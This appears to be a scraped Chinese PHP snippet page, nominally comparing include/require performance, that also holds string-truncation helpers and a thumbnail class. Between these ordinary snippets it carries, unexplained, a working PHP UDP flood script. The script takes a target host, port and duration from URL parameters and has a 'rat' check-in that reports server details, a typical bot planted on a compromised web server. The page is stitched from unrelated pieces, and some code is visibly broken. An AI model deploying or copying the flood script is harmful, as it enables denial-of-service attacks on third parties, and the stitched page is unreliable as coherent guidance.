php中include include_once require require_once性能比较详解

require_once "Benchmark/Iterate.php";
$bench = new Benchmark_Iterate;
function load_include(){
    include 'exist.php';
}
function load_require(){
    require 'exist.php';
}
function load_include_once(){
    include_once 'exist.php';
}
function load_require_once(){
    require_once 'exist.php';
}
$bench->run(50,"load_include");
//$bench->run(50,"load_require");
//$bench->run(50,"load_include_once");
//$bench->run(50,"load_require_once");
$result = $bench->get();

require_once "Benchmark/Iterate.php";
$bench = new Benchmark_Iterate;
function check1($var){
    isset($var);
}
function check2($var){
    !empty($var);
}
$bench->run(50,"check1",$var);
//$bench->run(50,"check2",$var);
$result = $bench->get();

function substrs($content,$length,$add='Y'){
if (strlen($content)>$length) {
if ($GLOBALS['db_charset']!='utf-8') {
$retstr = '';
for ($i=0;$i<$length-2;$i++) {
$retstr .= ord($content[$i]) > 127 ? $content[$i].$content[++$i] : $content[$i];
}
return $retstr.($add=='Y' ? ' ..' : '');
}
return utf8_trim(substr($content,0,$length)).($add=='Y' ? ' ..' : '');
}
return $content;
}
function utf8_trim($str) {
$hex = '';
$len = strlen($str)-1;
for ($i=$len;$i>=0;$i-=1) {
$ch = ord($str[$i]);
$hex .= " $ch";
if (($ch & 128)==0 || ($ch & 192)==192) {
return substr($str,0,$i);
}
}
return $str.$hex;
}

function cutstr($string, $length, $dot = ' ...') {
global $charset;
if(strlen($string) <= $length) {
return $string;
}
$string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string);
$strcut = '';
if(strtolower($charset) == 'utf-8') {
$n = $tn = $noc = 0;
while($n < strlen($string)) {
$t = ord($string[$n]);
if($t == 9 || $t == 10 || (32 <= $t && $t <= 126)) {
$tn = 1; $n++; $noc++;
} elseif(194 <= $t && $t <= 223) {
$tn = 2; $n += 2; $noc += 2;
} elseif(224 <= $t && $t <= 239) {
$tn = 3; $n += 3; $noc += 2;
} elseif(240 <= $t && $t <= 247) {
$tn = 4; $n += 4; $noc += 2;
} elseif(248 <= $t && $t <= 251) {
$tn = 5; $n += 5; $noc += 2;
} elseif($t == 252 || $t == 253) {
$tn = 6; $n += 6; $noc += 2;
} else {
$n++;
}
if($noc >= $length) {
break;
}
}
if($noc > $length) {
$n -= $tn;
}
$strcut = substr($string, 0, $n);
} else {
for($i = 0; $i < $length; $i++) {
$strcut .= ord($string[$i]) > 127 ? $string[$i].$string[++$i] : $string[$i];
}
}
$strcut = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $strcut);
return $strcut.$dot;
}

<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER

['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }

for($i=0;$i<$Sendlen;$i++){
        $out .= "A";
    }

$max_time = time()+$exec_time;

while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}

echo "Send Host：$host:$port<br><br>";
echo "Send Flow：$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " .

round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate：" . round($packets/$exec_time, 2) . " packs/s；" . round($packets/

$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

*作者：落梦天蝎（beluckly）
*完成时间：2006-12-18
*类名：CreatMiniature
*功能：生成多种类型的缩略图
*基本参数：$srcFile,$echoType
*方法用到的参数：
$toFile,生成的文件
$toW,生成的宽
$toH,生成的高
$bk1,背景颜色参数 以255为最高
$bk2,背景颜色参数
$bk3,背景颜色参数

*例子：

< ?php

/***************************************

*作者：落梦天蝎（beluckly）

*完成时间：2006-12-18

*类名：CreatMiniature

*功能：生成多种类型的缩略图

*基本参数：$srcFile,$echoType

*方法用到的参数：

$toFile,生成的文件

$toW,生成的宽

$toH,生成的高

$bk1,背景颜色参数 以255为最高

$bk2,背景颜色参数

$bk3,背景颜色参数

*例子：

include("thumb.php");

$cm=new CreatMiniature();

$cm->SetVar("1.jpg","file");

$cm->Distortion("dis_bei.jpg",150,200);

$cm->Prorate("pro_bei.jpg",150,200);

$cm->Cut("cut_bei.jpg",150,200);

$cm->BackFill("fill_bei.jpg",150,200);

***************************************/

class CreatMiniature

{

//公共变量

var $srcFile=""; //原图

var $echoType; //输出图片类型，link--不保存为文件；file--保存为文件

var $im=""; //临时变量

var $srcW=""; //原图宽

var $srcH=""; //原图高

//设置变量及初始化

function SetVar($srcFile,$echoType)

{

$this->srcFile=$srcFile;

$this->echoType=$echoType;

$info = "";

$data = GetImageSize($this->srcFile,$info);

switch ($data[2])

{

case 1:

if(!function_exists("imagecreatefromgif")){

echo "你的GD库不能使用GIF格式的图片，请使用Jpeg或PNG格式！<a href='javascript:go(-1);'>返回</a>";

exit();

}

$this->im = ImageCreateFromGIF($this->srcFile);

break;

case 2:

if(!function_exists("imagecreatefromjpeg")){

echo "你的GD库不能使用jpeg格式的图片，请使用其它格式的图片！<a href='javascript:go(-1);'>返回</a>";

exit();

}

$this->im = ImageCreateFromJpeg($this->srcFile);

break;

case 3:

$this->im = ImageCreateFromPNG($this->srcFile);

break;

}

$this->srcW=ImageSX($this->im);

$this->srcH=ImageSY($this->im);

}

//生成扭曲型缩图

function Distortion($toFile,$toW,$toH)

{

$cImg=$this->CreatImage($this->im,$toW,$toH,0,0,0,0,$this->srcW,$this->srcH);

return $this->EchoImage($cImg,$toFile);

ImageDestroy($cImg);

}

//生成按比例缩放的缩图

function Prorate($toFile,$toW,$toH)

{

$toWH=$toW/$toH;

$srcWH=$this->srcW/$this->srcH;

if($toWH< =$srcWH)

{

$ftoW=$toW;

$ftoH=$ftoW*($this->srcH/$this->srcW);

}

else

{

$ftoH=$toH;

$ftoW=$ftoH*($this->srcW/$this->srcH);

}

if($this->srcW>$toW||$this->srcH>$toH)

{

$cImg=$this->CreatImage($this->im,$ftoW,$ftoH,0,0,0,0,$this->srcW,$this->srcH);

return $this->EchoImage($cImg,$toFile);

ImageDestroy($cImg);

}

else

{

$cImg=$this->CreatImage($this->im,$this->srcW,$this->srcH,0,0,0,0,$this->srcW,$this->srcH);

return $this->EchoImage($cImg,$toFile);

ImageDestroy($cImg);

}

}

//生成最小裁剪后的缩图

function Cut($toFile,$toW,$toH)

{

$toWH=$toW/$toH;

$srcWH=$this->srcW/$this->srcH;

if($toWH< =$srcWH)

{

$ctoH=$toH;

$ctoW=$ctoH*($this->srcW/$this->srcH);

}

else

{

$ctoW=$toW;

$ctoH=$ctoW*($this->srcH/$this->srcW);

}

$allImg=$this->CreatImage($this->im,$ctoW,$ctoH,0,0,0,0,$this->srcW,$this->srcH);

$cImg=$this->CreatImage($allImg,$toW,$toH,0,0,($ctoW-$toW)/2,($ctoH-$toH)/2,$toW,$toH);

return $this->EchoImage($cImg,$toFile);

ImageDestroy($cImg);

ImageDestroy($allImg);

}

//生成背景填充的缩图

function BackFill($toFile,$toW,$toH,$bk1=255,$bk2=255,$bk3=255)

{

$toWH=$toW/$toH;

$srcWH=$this->srcW/$this->srcH;

if($toWH< =$srcWH)

{

$ftoW=$toW;

$ftoH=$ftoW*($this->srcH/$this->srcW);

}

else

{

$ftoH=$toH;

$ftoW=$ftoH*($this->srcW/$this->srcH);

}

if(function_exists("imagecreatetruecolor"))

{

@$cImg=ImageCreateTrueColor($toW,$toH);

if(!$cImg)

{

$cImg=ImageCreate($toW,$toH);

}

}

else

{

$cImg=ImageCreate($toW,$toH);

}

$backcolor = imagecolorallocate($cImg, $bk1, $bk2, $bk3); //填充的背景颜色

ImageFilledRectangle($cImg,0,0,$toW,$toH,$backcolor);

if($this->srcW>$toW||$this->srcH>$toH)

{

$proImg=$this->CreatImage($this->im,$ftoW,$ftoH,0,0,0,0,$this->srcW,$this->srcH);

/*

if($ftoW< $toW)

{

ImageCopyMerge($cImg,$proImg,($toW-$ftoW)/2,0,0,0,$ftoW,$ftoH,100);

}

else if($ftoH<$toH)

{

ImageCopyMerge($cImg,$proImg,0,($toH-$ftoH)/2,0,0,$ftoW,$ftoH,100);

}

*/

if($ftoW<$toW)

{

ImageCopy($cImg,$proImg,($toW-$ftoW)/2,0,0,0,$ftoW,$ftoH);

}

else if($ftoH<$toH)

{

ImageCopy($cImg,$proImg,0,($toH-$ftoH)/2,0,0,$ftoW,$ftoH);

}

else

{

ImageCopy($cImg,$proImg,0,0,0,0,$ftoW,$ftoH);

}

}

else

{

ImageCopyMerge($cImg,$this->im,($toW-$ftoW)/2,($toH-$ftoH)/2,0,0,$ftoW,$ftoH,100);

}

return $this->EchoImage($cImg,$toFile);

ImageDestroy($cImg);

}

function CreatImage($img,$creatW,$creatH,$dstX,$dstY,$srcX,$srcY,$srcImgW,$srcImgH)

{

if(function_exists("imagecreatetruecolor"))

{

@$creatImg = ImageCreateTrueColor($creatW,$creatH);

if($creatImg)

ImageCopyResampled($creatImg,$img,$dstX,$dstY,$srcX,$srcY,$creatW,$creatH,$srcImgW,$srcImgH);

else

{

$creatImg=ImageCreate($creatW,$creatH);

ImageCopyResized($creatImg,$img,$dstX,$dstY,$srcX,$srcY,$creatW,$creatH,$srcImgW,$srcImgH);

}

}

else

{

$creatImg=ImageCreate($creatW,$creatH);

ImageCopyResized($creatImg,$img,$dstX,$dstY,$srcX,$srcY,$creatW,$creatH,$srcImgW,$srcImgH);

}

return $creatImg;

}

//输出图片，link---只输出，不保存文件。file--保存为文件

function EchoImage($img,$to_File)

{

switch($this->echoType)

{

case "link":

if(function_exists('imagejpeg')) return ImageJpeg($img);

else return ImagePNG($img);

break;

case "file":

if(function_exists('imagejpeg')) return ImageJpeg($img,$to_File);

else return ImagePNG($img,$to_File);

break;

}

}

}

?>